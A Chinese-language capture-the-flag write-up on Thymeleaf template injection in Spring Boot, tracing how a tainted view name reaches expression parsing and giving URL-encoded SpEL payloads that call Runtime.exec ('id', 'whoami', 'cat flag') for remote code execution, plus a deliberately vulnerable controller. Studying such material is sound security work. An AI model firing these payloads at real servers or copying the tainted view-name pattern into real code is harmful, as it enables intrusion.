NepCTF Challenger Thymeleaf模板注入学习

这道题是Thymeleaf模板注入的题目,以前没遇到过,现场学习了一波

Thymeleaf模板注入学习

参考:https://paper.seebug.org/1332/

https://xz.aliyun.com/t/9826

环境搭建

环境地址:https://github.com/veracode-research/spring-view-manipulation/

我们以Springboot + Thymeleaf模板创建一个带有漏洞的项目

核心代码如下:

1
2
3
4
@GetMapping("/path")//用户请求的url为path
public String path(@RequestParam String lang)//参数名称为lang {
return "user/" + lang + "/welcome"; //template path is tainted
}

服务器通过Thymeleaf模板,然后去查找相关的模板文件

例如,用户通过get请求/path?lang=hello,则服务器去自动拼接待查找的模板文件名,为resources/templates/user/hello/welcome.html,并返回给用户的浏览器

由于找不到相关的内容,会直接报错

模板注入分析

spring boot在org.springframework.web.servlet.ModelAndView方法中,开始处理用户的请求

1
2
3
4
5
6
7
8
9
10
/**
* This implementation expects the handler to be an {@link HandlerMethod}.
*/
@Override
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {

return handleInternal(request, response, (HandlerMethod) handler);
}

随后在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle方法中,通过invokeForRequest函数,根据用户提供的url,调用相关的controller,并将其返回值,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* Invoke the method and handle the return value through one of the
* configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
* @param webRequest the current request
* @param mavContainer the ModelAndViewContainer for this request
* @param providedArgs "given" arguments matched by type (not resolved)
*/
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {

Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
setResponseStatus(webRequest);

if (returnValue == null) {
if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
}
else if (StringUtils.hasText(getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}

mavContainer.setRequestHandled(false);
try {
this.returnValueHandlers.handleReturnValue(
returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
}
}

在函数中,调用this.returnValueHandlers.handleReturnValue去处理返回结果。最终在org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue方法中,将controller返回值作为视图名称。代码如下

1
2
3
4
5
6
7
8
9
10
11
@Override
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {

if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
mavContainer.setViewName(viewName);
if (isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
}

spring boot最终在org.springframework.web.servlet.DispatcherServlet#processDispatchResult方法中,调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称,并加载模板,返回给用户。核心代码如下 org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression

1
2
3
4
5
6
7
8
9
10
11
12
13
final String viewTemplateName = getTemplateName();
final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();


final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}

View(Fragment) 注入通用payload

第一种

如果这里的控制层用的是@Controller 进行注解的话,使用如下的payload 即可触发命令执行。

1
2
3
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::

需要注意的是要进行urlencode编码:

1
http://ip:port/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

发送请求后执行id 命令后回显

虽然报错了,抛出的是fragment section 异常,但前面的代码已经执行完了才会到这一步

第二种

如果Controller无返回值,则以GetMapping的路由为视图名称

在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞。例如我们可以控制document参数

1
2
3
4
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}

payload:

1
/doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

Challenger复现

题目给了jar附件

拖到idea中打开,反编译

可以看到eval路由下存在lang变量可控,直接套通用

image-20220721160650020

payload:

1
/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat flag%22).getInputStream()).next()%7d__::.